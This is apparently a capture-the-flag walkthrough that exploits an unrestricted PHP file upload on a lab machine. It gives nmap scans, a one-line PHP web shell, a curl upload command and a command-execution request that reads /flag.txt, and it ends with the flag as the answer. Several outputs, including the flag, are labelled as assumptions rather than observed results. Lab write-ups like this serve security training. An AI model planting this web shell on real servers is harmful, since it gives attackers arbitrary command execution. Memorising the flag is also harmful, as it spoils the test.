Detailed Steps to Solve the Machine

Machine Information

- **Macro**: WS
- **Type**: Remote Code Execution (RCE)
- **Description**: The machine hosts a vulnerable PHP web application that allows unrestricted file uploads. The application fails to validate or restrict uploaded file types, enabling attackers to upload malicious PHP scripts and execute arbitrary commands on the server. The flag is retrieved by exploiting this vulnerability to upload a PHP shell and read the /flag.txt file.
- **Objective**: Retrieve the flag by exploiting the file upload vulnerability to achieve remote code execution and access /flag.txt.

Step-by-Step Process

Step 1: Network Discovery with Nmap

- **Command**: nmap -sn 192.168.2.0/24
- **Description**:
    - **Purpose**: Perform a ping scan to identify live hosts on the 192.168.2.0/24 subnet.
    - **Details**:
        - Executed from a machine with IP 192.168.0.5.
        - nmap -sn conducts a host discovery scan without port scanning, checking which IPs in the 192.168.2.0/24 range (256 addresses) are active.
        - Identifies the target machine's IP address within the network.
    - **Assumption**: The scan reveals 192.168.2.5 as a live host, which we target in subsequent steps.
    - **Output**: A list of active IPs, including 192.168.2.5.

Step 2: Service Scanning with Nmap

- **Command**: nmap -sV 192.168.2.5
- **Description**:

- **Purpose**: Identify open ports and services on the target machine (192.168.2.5).
- **Details**:
  - nmap -sV performs a service version scan, detecting open ports and software versions.
  - Executed from 192.168.0.5.
  - Critical for identifying services like HTTP, implied by later curl commands.
- **Assumption**: The scan reveals port 80 (HTTP) is open, running a PHP web application.
- **Output**: A report listing open ports, with port 80 (HTTP) confirmed as the entry point.

Step 3: Access Web Application

- **Command**: curl http://192.168.2.5
- **Description**:
  - **Purpose**: Interact with the web application on port 80 to explore its functionality.
  - **Details**:
    - Executed from 192.168.0.5.
    - Sends an HTTP GET request to the root endpoint.
  - **Assumption**: The response indicates a PHP application with an upload endpoint (upload.php), suggesting potential for file upload vulnerabilities.
  - **Output**: HTML or text describing the web application, likely referencing an upload form.

Step 4: Create Malicious PHP File

- **Command**: echo "<?php\nsystem(\$_GET['cmd']); ?>" > file.php
- **Description**:
  - **Purpose**: Create a malicious PHP file that executes arbitrary system commands via a GET parameter.

- **Details**:
  - Executed locally on the attacking machine (192.168.0.5).
  - The PHP script uses system() to execute commands passed through the cmd GET parameter.
  - Saves the script as file.php.
- **Assumption**: The file is successfully created and ready for upload.
- **Output**: A local file named file.php containing the malicious PHP code.

Step 5: Upload Malicious PHP File

- **Command**: curl -v -F "file=@file.php" http://192.168.2.5/upload.php
- **Description**:
  - **Purpose**: Upload the malicious PHP file to the web application's upload endpoint.
  - **Details**:
    - Executed from 192.168.0.5.
    - Uses curl -F to send a multipart form-data request, uploading file.php to upload.php.
    - The -v flag provides verbose output to confirm the upload.
  - **Assumption**: The application accepts the file without validation and stores it in the /uploads/ directory, accessible as http://192.168.2.5/uploads/file.php.
  - **Output**: A response indicating successful upload, possibly with a confirmation message or the uploaded file's location.

Step 6: Execute Command to Retrieve the Flag

- **Command**: curl http://192.168.2.5/uploads/file.php?cmd=cat%20/flag.txt
- **Description**:
  - **Purpose**: Execute a command via the uploaded PHP shell to read the contents of /flag.txt.
  - **Details**:

        - Sends a GET request to the uploaded file.php with the cmd parameter set to cat /flag.txt.
        - The PHP script executes the cat /flag.txt command on the server, returning the file's contents.
        - %20 is the URL-encoded space character.
    - **Assumption**: The response contains the flag LuOnhZvuBxWGBUJe.
    - **Output**: The flag: LuOnhZvuBxWGBUJe.

Final Answer

- **Flag**: LuOnhZvuBxWGBUJe